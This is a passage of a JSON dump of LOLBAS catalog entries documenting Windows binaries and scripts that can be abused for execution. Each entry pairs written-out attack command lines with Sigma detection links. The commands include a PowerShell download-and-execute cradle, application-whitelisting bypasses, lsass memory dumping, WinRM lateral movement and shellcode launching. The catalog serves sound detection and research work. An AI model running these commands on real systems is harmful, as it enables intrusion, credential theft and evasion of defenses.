https://twitter.com/JohnLaTwC/status/1223292479270600706\nAcknowledgement:\n - Person: Jimmy\n Handle: '@bohops'\n - Person: Daniel Bohannon\n Handle: '@danielbohannon'\n - Person: John Lambert\n Handle: '@JohnLaTwC'\n" }, { "path": "yml/OSScripts/Pubprn.yml", "content": "---\nName: Pubprn.vbs\nDescription: Proxy execution with Pubprn.vbs\nAuthor: Oddvar Moe\nCreated: 2018-05-25\nCommands:\n - Command: pubprn.vbs 127.0.0.1 script:{REMOTEURL:.sct}\n Description: Set the 2nd variable with a Script COM moniker to perform Windows Script Host (WSH) Injection\n Usecase: Proxy execution\n Category: Execute\n Privileges: User\n MitreID: T1216.001\n OperatingSystem: Windows 10\n Tags:\n - Execute: SCT\nFull_Path:\n - Path: C:\\Windows\\System32\\Printing_Admin_Scripts\\en-US\\pubprn.vbs\n - Path: C:\\Windows\\SysWOW64\\Printing_Admin_Scripts\\en-US\\pubprn.vbs\nCode_Sample:\n - Code: https://raw.githubusercontent.com/LOLBAS-Project/LOLBAS/master/OSScripts/Payload/Pubprn_calc.sct\nDetection:\n - BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules\n - Sigma: https://github.com/SigmaHQ/sigma/blob/ff5102832031425f6eed011dd3a2e62653008c94/rules/windows/process_creation/proc_creation_win_lolbin_pubprn.yml\nResources:\n - Link: https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/\n - Link: https://www.slideshare.net/enigma0x3/windows-operating-system-archaeology\n - Link: https://github.com/enigma0x3/windows-operating-system-archaeology\nAcknowledgement:\n - Person: Matt Nelson\n Handle: '@enigma0x3'\n" }, { "path": "yml/OSScripts/Syncappvpublishingserver.yml", "content": "---\nName: Syncappvpublishingserver.vbs\nDescription: Script used related to app-v and publishing server\nAuthor: Oddvar Moe\nCreated: 2018-05-25\nCommands:\n - Command: SyncAppvPublishingServer.vbs \"n;((New-Object Net.WebClient).DownloadString('{REMOTEURL:.ps1}') | IEX\"\n Description: Inject PowerShell script code with the provided arguments\n Usecase: Use Powershell host invoked from vbs script\n Category: Execute\n Privileges: User\n MitreID: T1216.002\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Execute: PowerShell\nFull_Path:\n - Path: C:\\Windows\\System32\\SyncAppvPublishingServer.vbs\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_syncappvpublishingserver_vbs_execute_psh.yml\nResources:\n - Link: https://twitter.com/monoxgas/status/895045566090010624\n - Link: https://twitter.com/subTee/status/855738126882316288\nAcknowledgement:\n - Person: Nick Landers\n Handle: '@monoxgas'\n - Person: Casey Smith\n Handle: '@subtee'\n" }, { "path": "yml/OSScripts/UtilityFunctions.yml", "content": "---\nName: UtilityFunctions.ps1\nDescription: PowerShell Diagnostic Script\nAuthor: Jimmy (@bohops)\nCreated: 2021-09-26\nCommands:\n - Command: 'powershell.exe -ep bypass -command \"set-location -path c:\\windows\\diagnostics\\system\\networking; import-module .\\UtilityFunctions.ps1; RegSnapin ..\\..\\..\\..\\temp\\unsigned.dll;[Program.Class]::Main()\"'\n Description: Proxy execute Managed DLL with PowerShell\n Usecase: Execute proxied payload with Microsoft signed binary\n Category: Execute\n Privileges: User\n MitreID: T1216\n OperatingSystem: Windows 10 21H1 (likely other versions as well), Windows 11\n Tags:\n - Execute: DLL (.NET)\nFull_Path:\n - Path: C:\\Windows\\diagnostics\\system\\Networking\\UtilityFunctions.ps1\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/0.21-688-gd172b136b/rules/windows/process_creation/proc_creation_win_lolbas_utilityfunctions.yml\nResources:\n - Link: https://twitter.com/nickvangilder/status/1441003666274668546\nAcknowledgement:\n - Person: Nick VanGilder\n Handle: '@nickvangilder'\n" }, { "path": "yml/OSScripts/Winrm.yml", "content": "---\nName: winrm.vbs\nDescription: Script used for manage Windows RM settings\nAuthor: Oddvar Moe\nCreated: 2018-05-25\nCommands:\n - Command: 'winrm invoke Create wmicimv2/Win32_Process @{CommandLine=\"{CMD}\"} -r:http://target:5985'\n Description: Lateral movement/Remote Command Execution via WMI Win32_Process class over the WinRM protocol\n Usecase: Proxy execution\n Category: Execute\n Privileges: User\n MitreID: T1216\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Execute: CMD\n - Execute: Remote\n - Command: 'winrm invoke Create wmicimv2/Win32_Service @{Name=\"Evil\";DisplayName=\"Evil\";PathName=\"{CMD}\"} -r:http://acmedc:5985 && winrm invoke StartService wmicimv2/Win32_Service?Name=Evil -r:http://acmedc:5985'\n Description: Lateral movement/Remote Command Execution via WMI Win32_Service class over the WinRM protocol\n Usecase: Proxy execution\n Category: Execute\n Privileges: Admin\n MitreID: T1216\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Execute: CMD\n - Execute: Remote\n - Command: '%SystemDrive%\\BypassDir\\cscript //nologo %windir%\\System32\\winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty'\n Description: Bypass AWL solutions by copying cscript.exe to an attacker-controlled location; creating a malicious WsmPty.xsl in the same location, and executing winrm.vbs via the relocated cscript.exe.\n Usecase: Execute arbitrary, unsigned code via XSL script\n Category: AWL Bypass\n Privileges: User\n MitreID: T1220\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Execute: XSL\nFull_Path:\n - Path: C:\\Windows\\System32\\winrm.vbs\n - Path: C:\\Windows\\SysWOW64\\winrm.vbs\nCode_Sample:\n - Code: https://raw.githubusercontent.com/LOLBAS-Project/LOLBAS/master/OSScripts/Payload/Slmgr.reg\n - Code: https://raw.githubusercontent.com/LOLBAS-Project/LOLBAS/master/OSScripts/Payload/Slmgr_calc.sct\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_winrm_awl_bypass.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_winrm_execution_via_scripting_api_winrm_vbs.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/file/file_event/file_event_win_winrm_awl_bypass.yml\n - BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules\nResources:\n - Link: https://www.slideshare.net/enigma0x3/windows-operating-system-archaeology\n - Link: https://www.youtube.com/watch?v=3gz1QmiMhss\n - Link: https://github.com/enigma0x3/windows-operating-system-archaeology\n - Link: https://redcanary.com/blog/lateral-movement-winrm-wmi/\n - Link: https://twitter.com/bohops/status/994405551751815170\n - Link: https://posts.specterops.io/application-whitelisting-bypass-and-arbitrary-unsigned-code-execution-technique-in-winrm-vbs-c8c24fb40404\n - Link: https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf\nAcknowledgement:\n - Person: Matt Graeber\n Handle: '@mattifestation'\n - Person: Matt Nelson\n Handle: '@enigma0x3'\n - Person: Casey Smith\n Handle: '@subtee'\n - Person: Jimmy\n Handle: '@bohops'\n - Person: Red Canary Company cc Tony Lambert\n Handle: '@redcanaryco'\n" }, { "path": "yml/OSScripts/pester.yml", "content": "---\nName: Pester.bat\nDescription: Used as part of the Powershell pester\nAuthor: Oddvar Moe\nCreated: 2018-05-25\nCommands:\n - Command: Pester.bat [/help|?|-?|/?] \"$null; {CMD}\"\n Description: Execute code using Pester. The third parameter can be anything. The fourth is the payload.\n Usecase: Proxy execution\n Category: Execute\n Privileges: User\n MitreID: T1216\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Execute: EXE\n - Command: Pester.bat ;{PATH:.exe}\n Description: Execute code using Pester. Example here executes specified executable.\n Usecase: Proxy execution\n Category: Execute\n Privileges: User\n MitreID: T1216\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Execute: EXE\nFull_Path:\n - Path: c:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\\\bin\\Pester.bat\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_pester_1.yml\nResources:\n - Link: https://twitter.com/Oddvarmoe/status/993383596244258816\n - Link: https://twitter.com/_st0pp3r_/status/1560072680887525378\n - Link: https://twitter.com/_st0pp3r_/status/1560072680887525378\nAcknowledgement:\n - Person: Emin Atac\n Handle: '@p0w3rsh3ll'\n - Person: Stamatis Chatzimangou\n Handle: '@_st0pp3r_'\n" }, { "path": "yml/OtherMSBinaries/AccCheckConsole.yml", "content": "---\nName: AccCheckConsole.exe\nDescription: Verifies UI accessibility requirements\nAuthor: bohops\nCreated: 2022-01-02\nCommands:\n - Command: AccCheckConsole.exe -window \"Untitled - Notepad\" {PATH_ABSOLUTE:.dll}\n Description: Load a managed DLL in the context of AccCheckConsole.exe. The -window switch value can be set to an arbitrary active window name.\n Usecase: Local execution of managed code from assembly DLL.\n Category: Execute\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows\n Tags:\n - Execute: DLL (.NET)\n - Command: AccCheckConsole.exe -window \"Untitled - Notepad\" {PATH_ABSOLUTE:.dll}\n Description: Load a managed DLL in the context of AccCheckConsole.exe. The -window switch value can be set to an arbitrary active window name.\n Usecase: Local execution of managed code to bypass AppLocker.\n Category: AWL Bypass\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows\n Tags:\n - Execute: DLL (.NET)\nFull_Path:\n - Path: C:\\Program Files (x86)\\Windows Kits\\10\\bin\\10.0.22000.0\\x86\\AccChecker\\AccCheckConsole.exe\n - Path: C:\\Program Files (x86)\\Windows Kits\\10\\bin\\10.0.22000.0\\x64\\AccChecker\\AccCheckConsole.exe\n - Path: C:\\Program Files (x86)\\Windows Kits\\10\\bin\\10.0.22000.0\\arm\\AccChecker\\AccCheckConsole.exe\n - Path: C:\\Program Files (x86)\\Windows Kits\\10\\bin\\10.0.22000.0\\arm64\\AccChecker\\AccCheckConsole.exe\nCode_Sample:\n - Code: https://docs.microsoft.com/en-us/windows/win32/winauto/custom-verification-routines\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/19396788dbedc57249a46efed2bb1927abc376d4/rules/windows/process_creation/proc_creation_win_lolbin_susp_acccheckconsole.yml\n - IOC: Sysmon Event ID 1 - Process Creation\n - Analysis: https://gist.github.com/bohops/2444129419c8acf837aedda5f0e7f340\nResources:\n - Link: https://gist.github.com/bohops/2444129419c8acf837aedda5f0e7f340\n - Link: https://twitter.com/bohops/status/1477717351017680899\nAcknowledgement:\n - Person: Jimmy\n Handle: '@bohops'\n" }, { "path": "yml/OtherMSBinaries/Adplus.yml", "content": "---\nName: adplus.exe\nDescription: Debugging tool included with Windows Debugging Tools\nAuthor: mr.d0x\nCreated: 2021-09-01\nCommands:\n - Command: adplus.exe -hang -pn lsass.exe -o {PATH_ABSOLUTE:folder} -quiet\n Description: Creates a memory dump of the lsass process\n Usecase: Create memory dump and parse it offline\n Category: Dump\n Privileges: SYSTEM\n MitreID: T1003.001\n OperatingSystem: All Windows\n - Command: adplus.exe -c {PATH:.xml}\n Description: Execute arbitrary commands using adplus config file (see Resources section for a sample file).\n Usecase: Run commands under a trusted Microsoft signed binary\n Category: Execute\n Privileges: User\n MitreID: T1127\n OperatingSystem: All Windows\n Tags:\n - Execute: CMD\n - Command: adplus.exe -c {PATH:.xml}\n Description: Dump process memory using adplus config file (see Resources section for a sample file).\n Usecase: Run commands under a trusted Microsoft signed binary\n Category: Dump\n Privileges: SYSTEM\n MitreID: T1003.001\n OperatingSystem: All Windows\n - Command: adplus.exe -crash -o \"{PATH_ABSOLUTE:folder}\" -sc {PATH:.exe}\n Description: Execute arbitrary commands and binaries from the context of adplus. Note that providing an output directory via '-o' is required.\n Usecase: Run commands under a trusted Microsoft signed binary\n Category: Execute\n Privileges: User\n MitreID: T1127\n OperatingSystem: All windows\n Tags:\n - Execute: CMD\n - Execute: EXE\nFull_Path:\n - Path: C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x64\\adplus.exe\n - Path: C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x86\\adplus.exe\nCode_Sample:\n - Code: https://gist.github.com/nasbench/e34ca2cd90e3a845a558a102a4f607da\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/6199a703221a98ae6ad343c79c558da375203e4e/rules/windows/process_creation/proc_creation_win_lolbin_adplus.yml\n - IOC: As a Windows SDK binary, execution on a system may be suspicious\nResources:\n - Link: https://mrd0x.com/adplus-debugging-tool-lsass-dump/\n - Link: https://twitter.com/nas_bench/status/1534916659676422152\n - Link: https://twitter.com/nas_bench/status/1534915321856917506\nAcknowledgement:\n - Person: mr.d0x\n Handle: '@mrd0x'\n - Person: Nasreddine Bencherchali\n Handle: '@nas_bench'\n" }, { "path": "yml/OtherMSBinaries/Agentexecutor.yml", "content": "---\nName: AgentExecutor.exe\nDescription: Intune Management Extension included on Intune Managed Devices\nAuthor: Eleftherios Panos\nCreated: 2020-07-23\nCommands:\n - Command: AgentExecutor.exe -powershell \"{PATH_ABSOLUTE:.ps1}\" \"{PATH_ABSOLUTE:.1.log}\" \"{PATH_ABSOLUTE:.2.log}\" \"{PATH_ABSOLUTE:.3.log}\" 60000 \"C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\" 0 1\n Description: Spawns powershell.exe and executes a provided powershell script with ExecutionPolicy Bypass argument\n Usecase: Execute unsigned powershell scripts\n Category: Execute\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows 10\n Tags:\n - Execute: PowerShell\n - Command: AgentExecutor.exe -powershell \"{PATH_ABSOLUTE:.ps1}\" \"{PATH_ABSOLUTE:.1.log}\" \"{PATH_ABSOLUTE:.2.log}\" \"{PATH_ABSOLUTE:.3.log}\" 60000 \"{PATH_ABSOLUTE:folder}\" 0 1\n Description: If we place a binary named powershell.exe in the specified folder path, agentexecutor.exe will execute it successfully\n Usecase: Execute a provided EXE\n Category: Execute\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows 10\n Tags:\n - Execute: EXE\nFull_Path:\n - Path: C:\\Program Files (x86)\\Microsoft Intune Management Extension\\AgentExecutor.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/19396788dbedc57249a46efed2bb1927abc376d4/rules/windows/process_creation/proc_creation_win_lolbin_agentexecutor.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/19396788dbedc57249a46efed2bb1927abc376d4/rules/windows/process_creation/proc_creation_win_lolbin_agentexecutor_susp_usage.yml\nAcknowledgement:\n - Person: Eleftherios Panos\n Handle: '@lefterispan'\n" }, { "path": "yml/OtherMSBinaries/AppLauncher.yml", "content": "---\nName: AppLauncher.exe\nDescription: User Experience Virtualization tool that launches applications under monitoring to capture and synchronize user settings.\nAuthor: Avihay Eldad\nCreated: 2025-09-21\nCommands:\n - Command: AppLauncher.exe {PATH_ABSOLUTE:.exe}\n Description: Launches an executable via User Experience Virtualization tool.\n Usecase: Executes an executable under a trusted, Microsoft signed binary.\n Category: Execute\n Privileges: User\n MitreID: T1127\n OperatingSystem: Windows\n Tags:\n - Execute: EXE\nFull_Path:\n - Path: C:\\Program Files\\Windows Kits\\10\\Microsoft User Experience Virtualization\\Management\\AppLauncher.exe\n - Path: C:\\Program Files (x86)\\Windows Kits\\10\\Microsoft User Experience Virtualization\\Management\\AppLauncher.exe\nResources:\n - Link: https://learn.microsoft.com/en-us/microsoft-desktop-optimization-pack/ue-v/uev-getting-started\nAcknowledgement:\n - Person: Avihay Eldad\n Handle: '@AvihayEldad'\n" }, { "path": "yml/OtherMSBinaries/Appcert.yml", "content": "---\nName: AppCert.exe\nDescription: Windows App Certification Kit command-line tool.\nAuthor: Avihay Eldad\nCreated: 2024-03-06\nCommands:\n - Command: appcert.exe test -apptype desktop -setuppath {PATH_ABSOLUTE:.exe} -reportoutputpath {PATH_ABSOLUTE:.xml}\n Description: Execute an executable file via the Windows App Certification Kit command-line tool.\n Usecase: Performs execution of specified file, can be used as a defense evasion\n Category: Execute\n Privileges: Administrator\n MitreID: T1127\n OperatingSystem: Windows\n Tags:\n - Execute: EXE\n - Command: appcert.exe test -apptype desktop -setuppath {PATH_ABSOLUTE:.msi} -setupcommandline /q -reportoutputpath {PATH_ABSOLUTE:.xml}\n Description: Install an MSI file via an msiexec instance spawned via appcert.exe as parent process.\n Usecase: Execute custom made MSI file with malicious code\n Category: Execute\n Privileges: Administrator\n MitreID: T1218.007\n OperatingSystem: Windows\n Tags:\n - Execute: MSI\nFull_Path:\n - Path: C:\\Program Files (x86)\\Windows Kits\\10\\App Certification Kit\\appcert.exe\n - Path: C:\\Program Files\\Windows Kits\\10\\App Certification Kit\\appcert.exe\nResources:\n - Link: https://learn.microsoft.com/windows/win32/win_cert/using-the-windows-app-certification-kit\nAcknowledgement:\n - Person: Avihay Eldad\n Handle: '@AvihayEldad'\n" }, { "path": "yml/OtherMSBinaries/Appvlp.yml", "content": "---\nName: Appvlp.exe\nDescription: Application Virtualization Utility Included with Microsoft Office 2016\nAuthor: Oddvar Moe\nCreated: 2018-05-25\nCommands:\n - Command: AppVLP.exe {PATH_SMB:.bat}\n Usecase: Execution of BAT file hosted on Webdav server.\n Description: Executes .bat file through AppVLP.exe\n Category: Execute\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows 10 w/Office 2016\n Tags:\n - Execute: CMD\n - Command: AppVLP.exe powershell.exe -c \"$e=New-Object -ComObject shell.application;$e.ShellExecute('{PATH:.exe}','', '', 'open', 1)\"\n Usecase: Local execution of process bypassing Attack Surface Reduction (ASR).\n Description: Executes powershell.exe as a subprocess of AppVLP.exe and run the respective PS command.\n Category: Execute\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows 10 w/Office 2016\n Tags:\n - Execute: EXE\nFull_Path:\n - Path: C:\\Program Files\\Microsoft Office\\root\\client\\appvlp.exe\n - Path: C:\\Program Files (x86)\\Microsoft Office\\root\\client\\appvlp.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_appvlp.yml\nResources:\n - Link: https://github.com/MoooKitty/Code-Execution\n - Link: https://twitter.com/moo_hax/status/892388990686347264\n - Link: https://enigma0x3.net/2018/06/11/the-tale-of-settingcontent-ms-files/\n - Link: https://securityboulevard.com/2018/07/attackers-test-new-document-attack-vector-that-slips-past-office-defenses/\nAcknowledgement:\n - Person: fab\n Handle: '@0rbz_'\n - Person: Will\n Handle: '@moo_hax'\n - Person: Matt Wilson\n Handle: '@enigma0x3'\n" }, { "path": "yml/OtherMSBinaries/Bcp.yml", "content": "---\nName: Bcp.exe\nDescription: Microsoft SQL Server Bulk Copy Program utility for importing and exporting data between SQL Server instances and data files.\nAuthor: Mahir Ali Khan\nCreated: 2025-11-13\nCommands:\n - Command: bcp \"SELECT payload_data FROM database.dbo.payloads WHERE id=1\" queryout \"C:\\Windows\\Temp\\payload.exe\" -S localhost -T -c\n Description: Export binary payload stored in SQL Server database to file system.\n Usecase: Extract malicious executable from database storage to local file system for execution.\n Category: Download\n Privileges: User\n MitreID: T1105\n OperatingSystem: Windows\nFull_Path:\n - Path: C:\\Program Files\\Microsoft SQL Server\\Client SDK\\ODBC\\170\\Tools\\Binn\\bcp.exe\n - Path: C:\\Program Files\\Microsoft SQL Server\\Client SDK\\ODBC\\130\\Tools\\Binn\\bcp.exe\n - Path: C:\\Program Files\\Microsoft SQL Server\\Client SDK\\ODBC\\110\\Tools\\Binn\\bcp.exe\n - Path: C:\\Program Files (x86)\\Microsoft SQL Server\\Client SDK\\ODBC\\170\\Tools\\Binn\\bcp.exe\n - Path: C:\\Program Files (x86)\\Microsoft SQL Server\\Client SDK\\ODBC\\130\\Tools\\Binn\\bcp.exe\n - Path: C:\\Program Files (x86)\\Microsoft SQL Server\\Client SDK\\ODBC\\110\\Tools\\Binn\\bcp.exe\n - Path: C:\\Program Files (x86)\\Microsoft SQL Server\\120\\Tools\\Binn\\bcp.exe\nDetection:\n - IOC: Process creation of bcp.exe with queryout or Out parameter\n - IOC: bcp.exe writing executable files to temp or users directories\n - IOC: Network connections from bcp.exe to SQL Server followed by file creation\n - IOC: Event ID 4688 - Process creation for bcp.exe\n - IOC: Event ID 4663 - File system access by bcp.exe\n - Sigma: https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_bcp_export_data.yml\nResources:\n - Link: https://docs.microsoft.com/en-us/sql/tools/bcp-utility\n - Link: https://asec.ahnlab.com/en/61000/\n - Link: https://asec.ahnlab.com/en/78944/\n - Link: https://www.huntress.com/blog/attacking-mssql-servers\n - Link: https://www.huntress.com/blog/attacking-mssql-servers-pt-ii\n - Link: https://news.sophos.com/en-us/2024/08/07/sophos-mdr-hunt-tracks-mimic-ransomware-campaign-against-organizations-in-india/\n - Link: https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/\nAcknowledgement:\n - Person: Mahir Ali Khan\n Handle: '@mahiralikhan07'\n" }, { "path": "yml/OtherMSBinaries/Bginfo.yml", "content": "---\nName: Bginfo.exe\nDescription: Background Information Utility included with SysInternals Suite\nAuthor: Oddvar Moe\nCreated: 2018-05-25\nCommands:\n - Command: bginfo.exe {PATH:.bgi} /popup /nolicprompt\n Description: Execute VBscript code that is referenced within the specified .bgi file.\n Usecase: Local execution of VBScript\n Category: Execute\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows\n Tags:\n - Execute: WSH\n - Command: bginfo.exe {PATH:.bgi} /popup /nolicprompt\n Description: Execute VBscript code that is referenced within the specified .bgi file.\n Usecase: Local execution of VBScript\n Category: AWL Bypass\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows\n Tags:\n - Execute: WSH\n - Command: \\\\10.10.10.10\\webdav\\bginfo.exe {PATH:.bgi} /popup /nolicprompt\n Usecase: Remote execution of VBScript\n Description: Execute bginfo.exe from a WebDAV server.\n Category: Execute\n Privileges: User\n MitreID: T1218\n Tags:\n - Execute: WSH\n OperatingSystem: Windows\n - Command: \\\\10.10.10.10\\webdav\\bginfo.exe {PATH:.bgi} /popup /nolicprompt\n Usecase: Remote execution of VBScript\n Description: Execute bginfo.exe from a WebDAV server.\n Category: AWL Bypass\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows\n Tags:\n - Execute: WSH\n - Command: \\\\live.sysinternals.com\\Tools\\bginfo.exe {PATH_SMB:.bgi} /popup /nolicprompt\n Usecase: Remote execution of VBScript\n Description: This style of execution may not longer work due to patch.\n Category: Execute\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows\n Tags:\n - Execute: WSH\n - Execute: Remote\n - Command: \\\\live.sysinternals.com\\Tools\\bginfo.exe {PATH_SMB:.bgi} /popup /nolicprompt\n Usecase: Remote execution of VBScript\n Description: This style of execution may not longer work due to patch.\n Category: AWL Bypass\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows\n Tags:\n - Execute: WSH\n - Execute: Remote\nFull_Path:\n - Path: no default\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_bginfo.yml\n - Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_process_network_connection.toml\n - Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml\n - BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules\nResources:\n - Link: https://oddvar.moe/2017/05/18/bypassing-application-whitelisting-with-bginfo/\nAcknowledgement:\n - Person: Oddvar Moe\n Handle: '@oddvarmoe'\n" }, { "path": "yml/OtherMSBinaries/Cdb.yml", "content": "---\nName: Cdb.exe\nDescription: Debugging tool included with Windows Debugging Tools.\nAuthor: Oddvar Moe\nCreated: 2018-05-25\nCommands:\n - Command: cdb.exe -cf {PATH:.wds} -o notepad.exe\n Description: Launch 64-bit shellcode from the specified .wds file using cdb.exe.\n Usecase: Local execution of assembly shellcode.\n Category: Execute\n Privileges: User\n MitreID: T1127\n OperatingSystem: Windows\n Tags:\n - Execute: Shellcode\n - Command: |\n cdb.exe -pd -pn {process_name}\n .shell {CMD}\n Description: Attaching to any process and executing shell commands.\n Usecase: Run a shell command under a trusted Microsoft signed binary\n Category: Execute\n Privileges: User\n MitreID: T1127\n OperatingSystem: Windows\n Tags:\n - Execute: CMD\n - Command: cdb.exe -c {PATH:.txt} \"{CMD}\"\n Description: Execute arbitrary commands and binaries using a debugging script (see Resources section for a sample file).\n Usecase: Run commands under a trusted Microsoft signed binary\n Category: Execute\n Privileges: User\n MitreID: T1127\n OperatingSystem: Windows\n Tags:\n - Execute: CMD\nFull_Path:\n - Path: C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x64\\cdb.exe\n - Path: C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x86\\cdb.exe\nCode_Sample:\n - Code: https://gist.github.com/nasbench/d9c15864f1e21bdd8b7cf55997b45f4b\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_cdb.yml\n - Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_process_network_connection.toml\n - Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml\n - BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules\nResources:\n - Link: http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html\n - Link: https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/cdb-command-line-options\n - Link: https://gist.github.com/mattifestation/94e2b0a9e3fe1ac0a433b5c3e6bd0bda\n - Link: https://mrd0x.com/the-power-of-cdb-debugging-tool/\n - Link: https://twitter.com/nas_bench/status/1534957360032120833\nAcknowledgement:\n - Person: Matt Graeber\n Handle: '@mattifestation'\n - Person: mr.d0x\n Handle: '@mrd0x'\n - Person: Spooky Sec\n Handle: '@sec_spooky'\n - Person: Nasreddine Bencherchali\n Handle: '@nas_bench'\n" }, { "path": "yml/OtherMSBinaries/Coregen.yml", "content": "---\nName: coregen.exe\nDescription: Binary coregen.exe (Microsoft CoreCLR Native Image Generator) loads exported function GetCLRRuntimeHost from coreclr.dll or from .DLL in arbitrary path. Coregen is located within \"C:\\Program Files (x86)\\Microsoft Silverlight\\5.1.50918.0\\\" or another version of Silverlight. Coregen is signed by Microsoft and bundled with Microsoft Silverlight.\nAuthor: Martin Sohn Christensen\nCreated: 2020-10-09\nCommands:\n - Command: coregen.exe /L {PATH_ABSOLUTE:.dll} dummy_assembly_name\n Description: Loads the target .DLL in arbitrary path specified with /L.\n Usecase: Execute DLL code\n Category: Execute\n Privileges: User\n MitreID: T1055\n OperatingSystem: Windows\n Tags:\n - Execute: DLL\n - Command: coregen.exe dummy_assembly_name\n Description: Loads the coreclr.dll in the corgen.exe directory (e.g. C:\\Program Files\\Microsoft Silverlight\\5.1.50918.0).\n Usecase: Execute DLL code\n Category: Execute\n Privileges: User\n MitreID: T1055\n OperatingSystem: Windows\n Tags:\n - Execute: DLL\n - Command: coregen.exe /L {PATH_ABSOLUTE:.dll} dummy_assembly_name\n Description: Loads the target .DLL in arbitrary path specified with /L. Since binary is signed it can also be used to bypass application whitelisting solutions.\n Usecase: Execute DLL code\n Category: AWL Bypass\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows\n Tags:\n - Execute: DLL\nFull_Path:\n - Path: C:\\Program Files\\Microsoft Silverlight\\5.1.50918.0\\coregen.exe\n - Path: C:\\Program Files (x86)\\Microsoft Silverlight\\5.1.50918.0\\coregen.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/b02e3b698afbaae143ac4fb36236eb0b41122ed7/rules/windows/image_load/image_load_side_load_coregen.yml\n - IOC: coregen.exe loading .dll file not in \"C:\\Program Files (x86)\\Microsoft Silverlight\\5.1.50918.0\\\"\n - IOC: coregen.exe loading .dll file not named coreclr.dll\n - IOC: coregen.exe command line containing -L or -l\n - IOC: coregen.exe command line containing unexpected/invald assembly name\n - IOC: coregen.exe application crash by invalid assembly name\nResources:\n - Link: https://www.youtube.com/watch?v=75XImxOOInU\n - Link: https://www.fireeye.com/blog/threat-research/2019/10/staying-hidden-on-the-endpoint-evading-detection-with-shellcode.html\nAcknowledgement:\n - Person: Nicky Tyrer\n - Person: Evan Pena\n - Person: Casey Erikson\n" }, { "path": "yml/OtherMSBinaries/Createdump.yml", "content": "---\nName: Createdump.exe\nDescription: Microsoft .NET Runtime Crash Dump Generator (included in .NET Core)\nAuthor: mr.d0x, Daniel Santos\nCreated: 2022-01-20\nCommands:\n - Command: createdump.exe -n -f {PATH:.dmp} {PID}\n Description: Dump process by PID and create a minidump file. If \"-f dump.dmp\" is not specified, the file is created as '%TEMP%\\dump.%p.dmp' where %p is the PID of the target process.\n Usecase: Dump process memory contents using PID.\n Category: Dump\n Privileges: SYSTEM\n MitreID: T1003\n OperatingSystem: Windows 10, Windows 11\nFull_Path:\n - Path: 